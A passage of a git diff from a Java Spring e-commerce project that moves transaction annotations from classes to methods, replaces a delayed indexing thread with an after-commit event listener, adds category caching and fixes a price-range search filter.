a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java index 733475f9..5a11b548 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/distribution/service/DistributionSelectedGoodsService.java @@ -13,21 +13,21 @@ public interface DistributionSelectedGoodsService extends IService implements DistributionCashService { /** * 分销员 diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionGoodsServiceImpl.java index 3b3a1b67..108bd35d 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionGoodsServiceImpl.java @@ -34,7 +34,6 @@ import java.util.Objects; * @since 2020-03-24 23:04:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class DistributionGoodsServiceImpl extends ServiceImpl implements DistributionGoodsService { /** diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java index c1dc8f98..d4670fc1 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionOrderServiceImpl.java @@ -42,7 +42,6 @@ import java.util.List; */ @Slf4j @Service -@Transactional(rollbackFor = Exception.class) public class DistributionOrderServiceImpl extends ServiceImpl implements DistributionOrderService { /** diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java index c9411725..9993349f 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionSelectedGoodsServiceImpl.java @@ -17,7 +17,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020-03-24 23:04:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class DistributionSelectedGoodsServiceImpl extends ServiceImpl implements DistributionSelectedGoodsService { /** @@ -47,12 +46,6 @@ public class DistributionSelectedGoodsServiceImpl extends ServiceImpl() diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionServiceImpl.java index 6d474f82..75611c18 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionServiceImpl.java @@ -38,7 +38,6 @@ import java.util.concurrent.TimeUnit; * @since 2020-03-14 23:04:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class DistributionServiceImpl extends ServiceImpl implements DistributionService { /** diff --git a/framework/src/main/java/cn/lili/modules/file/serviceimpl/FileServiceImpl.java b/framework/src/main/java/cn/lili/modules/file/serviceimpl/FileServiceImpl.java index 57cc5036..88cd60d0 100644 --- a/framework/src/main/java/cn/lili/modules/file/serviceimpl/FileServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/file/serviceimpl/FileServiceImpl.java @@ -29,7 +29,6 @@ import java.util.List; * @since 2020/11/26 17:50 */ @Service -@Transactional(rollbackFor = Exception.class) public class FileServiceImpl extends ServiceImpl implements FileService { @Autowired diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsOperationDTO.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsOperationDTO.java index 434948d2..497bc349 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsOperationDTO.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsOperationDTO.java @@ -103,7 +103,7 @@ public class GoodsOperationDTO implements Serializable { * @see cn.lili.modules.goods.entity.enums.GoodsTypeEnum */ @ApiModelProperty(value = "商品类型") - @EnumValue(strValues = {"PHYSICAL_GOODS","VIRTUAL_GOODS","E_COUPON"},message = "商品类型参数值错误") + @EnumValue(strValues = {"PHYSICAL_GOODS", "VIRTUAL_GOODS", "E_COUPON"}, message = "商品类型参数值错误") private String goodsType; /** @@ -112,6 +112,9 @@ public class GoodsOperationDTO implements Serializable { @ApiModelProperty(value = "商品视频") private String goodsVideo; - - + public String getGoodsName() { + //对商品对名称做一个极限处理。这里没有用xss过滤是因为xss过滤为全局过滤,影响很大。 + // 业务中,全局代码中只有商品名称不能拥有英文逗号,是由于商品名称存在一个数据库联合查询,结果要根据逗号分组 + return goodsName.replace(",", ""); + } } diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java index 76370098..db523f1d 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dto/GoodsSearchParams.java @@ -131,9 +131,9 @@ public class GoodsSearchParams extends PageVO { if (CharSequenceUtil.isNotEmpty(price)) { String[] s = price.split("_"); if (s.length > 1) { - queryWrapper.ge("price", s[1]); + queryWrapper.between("price", s[0], s[1]); } else { - queryWrapper.le("price", s[0]); + queryWrapper.ge("price", s[0]); } } } diff --git a/framework/src/main/java/cn/lili/modules/goods/event/GeneratorEsGoodsIndexEvent.java b/framework/src/main/java/cn/lili/modules/goods/event/GeneratorEsGoodsIndexEvent.java new file mode 100644 index 00000000..ff5da90f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/goods/event/GeneratorEsGoodsIndexEvent.java @@ -0,0 +1,19 @@ +package cn.lili.modules.goods.event; + +import lombok.Data; +import org.springframework.context.ApplicationEvent; + +/** + * @author paulG + * @since 2022/1/19 + **/ +@Data +public class GeneratorEsGoodsIndexEvent extends ApplicationEvent { + + private String goodsId; + + public GeneratorEsGoodsIndexEvent(Object source, String goodsId) { + super(source); + this.goodsId = goodsId; + } +} diff --git a/framework/src/main/java/cn/lili/modules/goods/listener/GeneratorEsGoodsIndexListener.java b/framework/src/main/java/cn/lili/modules/goods/listener/GeneratorEsGoodsIndexListener.java new file mode 100644 index 00000000..7c5b95ba --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/goods/listener/GeneratorEsGoodsIndexListener.java @@ -0,0 +1,38 @@ +package cn.lili.modules.goods.listener; + +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.modules.goods.event.GeneratorEsGoodsIndexEvent; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.transaction.event.TransactionPhase; +import org.springframework.transaction.event.TransactionalEventListener; + +/** + * @author paulG + * @since 2022/1/19 + **/ +@Component +public class GeneratorEsGoodsIndexListener { + + /** + * rocketMq + */ + @Autowired + private RocketMQTemplate rocketMQTemplate; + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; + + @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT) + public void generatorEsGoodsIndex(GeneratorEsGoodsIndexEvent esGoodsIndexEvent) { + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, esGoodsIndexEvent.getGoodsId(), RocketmqSendCallbackBuilder.commonCallback()); + } + +} diff --git a/framework/src/main/java/cn/lili/modules/goods/service/CategoryService.java b/framework/src/main/java/cn/lili/modules/goods/service/CategoryService.java index 4069d49d..519b0c96 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/CategoryService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/CategoryService.java @@ -4,7 +4,11 @@ package cn.lili.modules.goods.service; import cn.lili.modules.goods.entity.dos.Category; import cn.lili.modules.goods.entity.vos.CategoryVO; import com.baomidou.mybatisplus.extension.service.IService; +import org.springframework.cache.annotation.CacheConfig; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; +import java.io.Serializable; import java.util.List; /** @@ -13,6 +17,7 @@ import java.util.List; * @author pikachu * @since 2020-03-02 16:44:56 */ +@CacheConfig(cacheNames = "{category}") public interface CategoryService extends IService { @@ -25,6 +30,15 @@ public interface CategoryService extends IService { */ List dbList(String parentId); + /** + * 获取分类 + * + * @param id + * @return + */ + @Cacheable(key = "#id") + Category getCategoryById(String id); + /** * 根据分类id集合获取所有分类根据层级排序 * @@ -86,6 +100,7 @@ public interface CategoryService extends IService { * @param category 商品分类信息 * @return 修改结果 */ + @CacheEvict(key = "#category.id") void updateCategory(Category category); /** diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index c300a39b..40c25077 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -195,14 +195,6 @@ public interface GoodsSkuService extends IService { */ void updateGoodsSkuCommentNum(String skuId); - /** - * 更新商品sku促销价格 - * - * @param skuId skuId - * @param promotionPrice 促销价格 - */ - void updateGoodsSkuPromotion(String skuId, Double promotionPrice); - /** * 根据商品id获取全部skuId的集合 * diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/BrandServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/BrandServiceImpl.java index 9c985a11..0587303f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/BrandServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/BrandServiceImpl.java @@ -34,7 +34,6 @@ import java.util.stream.Collectors; * @since 2020-02-18 16:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class BrandServiceImpl extends ServiceImpl implements BrandService { /** diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryBrandServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryBrandServiceImpl.java index 0762b29b..9ddaf39e 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryBrandServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryBrandServiceImpl.java @@ -20,7 +20,6 @@ import java.util.List; * @since 2020-02-18 16:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class CategoryBrandServiceImpl extends ServiceImpl implements CategoryBrandService { @Override diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryParameterGroupServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryParameterGroupServiceImpl.java index c1b877c6..557e7fd7 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryParameterGroupServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryParameterGroupServiceImpl.java @@ -37,7 +37,6 @@ import java.util.stream.Collectors; * 2020-03-02 16:45:03 */ @Service -@Transactional(rollbackFor = Exception.class) public class CategoryParameterGroupServiceImpl extends ServiceImpl implements CategoryParameterGroupService { /** * 商品参数 diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryServiceImpl.java index ab31d983..faa6a2cc 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategoryServiceImpl.java @@ -36,7 +36,6 @@ import java.util.stream.Collectors; * @since 2020-02-23 15:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class CategoryServiceImpl extends ServiceImpl implements CategoryService { private static final String DELETE_FLAG_COLUMN = "delete_flag"; @@ -60,6 +59,11 @@ public class CategoryServiceImpl extends ServiceImpl i return this.list(new LambdaQueryWrapper().eq(Category::getParentId, parentId)); } + @Override + public Category getCategoryById(String id) { + return this.getById(id); + } + /** * 根据分类id集合获取所有分类根据层级排序 * diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategorySpecificationServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategorySpecificationServiceImpl.java index 49b0a82b..7eab0561 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategorySpecificationServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/CategorySpecificationServiceImpl.java @@ -18,7 +18,6 @@ import java.util.List; * @since 2020-02-23 15:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class CategorySpecificationServiceImpl extends ServiceImpl implements CategorySpecificationService { @Override diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/DraftGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/DraftGoodsServiceImpl.java index 79699953..fd795f36 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/DraftGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/DraftGoodsServiceImpl.java @@ -33,7 +33,6 @@ import java.util.*; * @since 2020/12/19 **/ @Service -@Transactional(rollbackFor = Exception.class) public class DraftGoodsServiceImpl extends ServiceImpl implements DraftGoodsService { /** * 分类 diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java index e1727397..f31a171f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java @@ -27,7 +27,6 @@ import java.util.List; * 2020-02-23 15:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class GoodsGalleryServiceImpl extends ServiceImpl implements GoodsGalleryService { /** * 设置 diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 101ad3ee..6a68590a 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -54,10 +54,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; +import java.util.*; /** * 商品业务层实现 @@ -66,7 +63,6 @@ import java.util.Objects; * @since 2020-02-23 15:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class GoodsServiceImpl extends ServiceImpl implements GoodsService { @@ -119,7 +115,7 @@ public class GoodsServiceImpl extends ServiceImpl implements @Override public List getByBrandIds(List brandIds) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper(); + LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper<>(); lambdaQueryWrapper.in(Goods::getBrandId, brandIds); return list(lambdaQueryWrapper); } @@ -197,6 +193,9 @@ public class GoodsServiceImpl extends ServiceImpl implements if (goodsOperationDTO.getGoodsGalleryList() != null && !goodsOperationDTO.getGoodsGalleryList().isEmpty()) { this.goodsGalleryService.add(goodsOperationDTO.getGoodsGalleryList(), goods.getId()); } + if (GoodsAuthEnum.TOBEAUDITED.name().equals(goods.getAuthFlag())) { + this.deleteEsGoods(Collections.singletonList(goodsId)); + } cache.remove(CachePrefix.GOODS.getPrefix() + goodsId); } @@ -306,11 +305,7 @@ public class GoodsServiceImpl extends ServiceImpl implements } if (GoodsStatusEnum.DOWN.equals(goodsStatusEnum)) { - - //商品删除消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + this.deleteEsGoods(goodsIds); } return result; } @@ -340,6 +335,9 @@ public class GoodsServiceImpl extends ServiceImpl implements for (Goods goods : goodsList) { goodsSkuService.updateGoodsSkuStatus(goods); } + if (GoodsStatusEnum.DOWN.equals(goodsStatusEnum)) { + this.deleteEsGoods(goodsIds); + } return result; } @@ -361,10 +359,7 @@ public class GoodsServiceImpl extends ServiceImpl implements goodsSkuService.updateGoodsSkuStatus(goods); } - //商品删除消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + this.deleteEsGoods(goodsIds); return true; } @@ -388,6 +383,7 @@ public class GoodsServiceImpl extends ServiceImpl implements } @Override + @Transactional(rollbackFor = Exception.class) public void updateStock(String goodsId, Integer quantity) { LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); lambdaUpdateWrapper.set(Goods::getQuantity, quantity); @@ -447,6 +443,19 @@ public class GoodsServiceImpl extends ServiceImpl implements .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); } + + /** + * 发送删除es索引的信息 + * + * @param goodsIds 商品id + */ + private void deleteEsGoods(List goodsIds) { + //商品删除消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GOODS_DELETE.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goodsIds), RocketmqSendCallbackBuilder.commonCallback()); + } + /** * 添加商品默认图片 * @@ -522,8 +531,8 @@ public class GoodsServiceImpl extends ServiceImpl implements /** * 判断商品是否存在 * - * @param goodsId - * @return + * @param goodsId 商品id + * @return 商品信息 */ private Goods checkExist(String goodsId) { Goods goods = getById(goodsId); @@ -579,20 +588,6 @@ public class GoodsServiceImpl extends ServiceImpl implements } } - /** - * 获取UpdateWrapper(检查用户越权) - * - * @return updateWrapper - */ - private LambdaUpdateWrapper getUpdateWrapperByManagerAuthority() { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - AuthUser authUser = this.checkStoreAuthority(); - if (authUser != null) { - updateWrapper.eq(Goods::getStoreId, authUser.getStoreId()); - } - return updateWrapper; - } - /** * 获取QueryWrapper(检查用户越权) * diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 77526c48..40cc4192 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -3,9 +3,7 @@ package cn.lili.modules.goods.serviceimpl; import cn.hutool.core.convert.Convert; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.NumberUtil; -import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; @@ -24,16 +22,20 @@ import cn.lili.modules.goods.entity.vos.GoodsSkuSpecVO; import cn.lili.modules.goods.entity.vos.GoodsSkuVO; import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.entity.vos.SpecValueVO; +import cn.lili.modules.goods.event.GeneratorEsGoodsIndexEvent; import cn.lili.modules.goods.mapper.GoodsSkuMapper; import cn.lili.modules.goods.service.CategoryService; import cn.lili.modules.goods.service.GoodsGalleryService; import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.FootPrint; -import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.dto.EvaluationQueryParams; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; +import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; @@ -47,6 +49,7 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.ApplicationEventPublisher; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -60,7 +63,6 @@ import java.util.stream.Collectors; * @since 2020-02-23 15:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class GoodsSkuServiceImpl extends ServiceImpl implements GoodsSkuService { /** @@ -104,6 +106,12 @@ public class GoodsSkuServiceImpl extends ServiceImpl i @Autowired private EsGoodsIndexService goodsIndexService; + @Autowired + private PromotionGoodsService promotionGoodsService; + + @Autowired + private ApplicationEventPublisher applicationEventPublisher; + @Override public void add(List> skuList, Goods goods) { // 检查是否需要生成索引 @@ -117,10 +125,13 @@ public class GoodsSkuServiceImpl extends ServiceImpl i } this.updateStock(newSkuList); - generateEs(goods); + if (!newSkuList.isEmpty()) { + generateEs(goods); + } } @Override + @Transactional(rollbackFor = Exception.class) public void update(List> skuList, Goods goods, Boolean regeneratorSkuFlag) { // 是否存在规格 if (skuList == null || skuList.isEmpty()) { @@ -134,9 +145,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //删除旧索引 for (GoodsSkuVO goodsSkuVO : goodsListByGoodsId) { oldSkuIds.add(goodsSkuVO.getId()); - goodsIndexService.deleteIndexById(goodsSkuVO.getId()); cache.remove(GoodsSkuService.getCacheKeys(goodsSkuVO.getId())); } + goodsIndexService.deleteIndexByIds(oldSkuIds); this.removeByIds(oldSkuIds); //删除sku相册 goodsGalleryService.removeByIds(oldSkuIds); @@ -164,7 +175,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i this.updateBatchById(newSkuList); } this.updateStock(newSkuList); - generateEs(goods); + if (GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag()) && !newSkuList.isEmpty()) { + generateEs(goods); + } } /** @@ -241,11 +254,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取当前商品的索引信息 EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId); if (goodsIndex == null) { - goodsIndex = goodsIndexService.getTempEsGoodsIndex(goodsSku, goodsVO.getGoodsParamsDTOList()); - - //发送mq消息 - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback()); + goodsIndex = goodsIndexService.getResetEsGoodsIndex(goodsSku, goodsVO.getGoodsParamsDTOList()); } //商品规格 @@ -253,9 +262,6 @@ public class GoodsSkuServiceImpl extends ServiceImpl i Map promotionMap = goodsIndex.getPromotionMap(); //设置当前商品的促销价格 - if (promotionMap != null && !promotionMap.isEmpty() && goodsIndex.getPromotionPrice() != null) { - goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); - } if (promotionMap != null && !promotionMap.isEmpty()) { promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); @@ -265,11 +271,18 @@ public class GoodsSkuServiceImpl extends ServiceImpl i (jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis()); }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); - boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> - i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); - if (containsPromotion && goodsIndex.getPromotionPrice() != null) { - goodsSkuDetail.setPromotionFlag(true); - goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); + Optional> containsPromotion = promotionMap.entrySet().stream().filter(i -> + i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (containsPromotion.isPresent()) { + JSONObject jsonObject = JSONUtil.parseObj(containsPromotion.get().getValue()); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setSkuId(skuId); + searchParams.setPromotionId(jsonObject.get("id").toString()); + PromotionGoods promotionsGoods = promotionGoodsService.getPromotionsGoods(searchParams); + if (promotionsGoods != null && promotionsGoods.getPrice() != null) { + goodsSkuDetail.setPromotionFlag(true); + goodsSkuDetail.setPromotionPrice(promotionsGoods.getPrice()); + } } else { goodsSkuDetail.setPromotionFlag(false); goodsSkuDetail.setPromotionPrice(null); @@ -319,7 +332,9 @@ public class GoodsSkuServiceImpl extends ServiceImpl i cache.remove(GoodsSkuService.getCacheKeys(sku.getId())); cache.put(GoodsSkuService.getCacheKeys(sku.getId()), sku); } - generateEs(goods); + if (!goodsSkus.isEmpty()) { + generateEs(goods); + } } } @@ -487,12 +502,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取商品信息 GoodsSku goodsSku = this.getGoodsSkuByIdFromCache(skuId); - LambdaQueryWrapper goodEvaluationQueryWrapper = new LambdaQueryWrapper<>(); - goodEvaluationQueryWrapper.eq(MemberEvaluation::getSkuId, goodsSku.getId()); - goodEvaluationQueryWrapper.eq(MemberEvaluation::getGrade, EvaluationGradeEnum.GOOD.name()); - + EvaluationQueryParams queryParams = new EvaluationQueryParams(); + queryParams.setGrade(EvaluationGradeEnum.GOOD.name()); + queryParams.setSkuId(goodsSku.getId()); //好评数量 - long highPraiseNum = memberEvaluationService.count(goodEvaluationQueryWrapper); + long highPraiseNum = memberEvaluationService.getEvaluationCount(queryParams); //更新商品评价数量 goodsSku.setCommentNum(goodsSku.getCommentNum() != null ? goodsSku.getCommentNum() + 1 : 1); @@ -516,22 +530,6 @@ public class GoodsSkuServiceImpl extends ServiceImpl i goodsService.updateGoodsCommentNum(goodsSku.getGoodsId()); } - /** - * 更新商品sku促销价格 - * - * @param skuId skuId - * @param promotionPrice 促销价格 - */ - @Override - public void updateGoodsSkuPromotion(String skuId, Double promotionPrice) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(GoodsSku::getId, skuId); - updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); - updateWrapper.set(GoodsSku::getPromotionFlag, true); - this.update(updateWrapper); - cache.remove(GoodsSkuService.getCacheKeys(skuId)); - } - /** * 根据商品id获取全部skuId的集合 * @@ -554,18 +552,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i if (!GoodsStatusEnum.UPPER.name().equals(goods.getMarketEnable()) || !GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag())) { return; } - ThreadUtil.execAsync(() -> { - try { - // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 - Thread.sleep(2000); - String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); - //发送mq消息 - rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); - } catch (InterruptedException e) { - log.error("发送商品索引信息失败!", e); - Thread.currentThread().interrupt(); - } - }); + applicationEventPublisher.publishEvent(new GeneratorEsGoodsIndexEvent("生成商品索引事件", goods.getId())); } /** @@ -591,7 +578,8 @@ public class GoodsSkuServiceImpl extends ServiceImpl i * @param skuList sku列表 * @param goods 商品信息 */ - private List addGoodsSku(List> skuList, Goods goods) { + @Transactional(rollbackFor = Exception.class) + List addGoodsSku(List> skuList, Goods goods) { List skus = new ArrayList<>(); for (Map skuVO : skuList) { Map resultMap = this.add(skuVO, goods); @@ -700,7 +688,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i } //设置规格商品缩略图 //如果规格没有图片,则用商品图片复盖。有则增加规格图片,放在商品图片集合之前 - if (spec.getValue() != null && StrUtil.isNotEmpty(spec.getValue().toString())) { + if (CharSequenceUtil.isNotEmpty(spec.getValue().toString())) { thumbnail = goodsGalleryService.getGoodsGallery(images.get(0).get("url")).getThumbnail(); small = goodsGalleryService.getGoodsGallery(images.get(0).get("url")).getSmall(); } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsWordsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsWordsServiceImpl.java index 09dd8815..775b5800 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsWordsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsWordsServiceImpl.java @@ -14,6 +14,5 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/10/15 **/ @Service -@Transactional(rollbackFor = Exception.class) public class GoodsWordsServiceImpl extends ServiceImpl implements GoodsWordsService { } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/StoreGoodsLabelServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/StoreGoodsLabelServiceImpl.java index 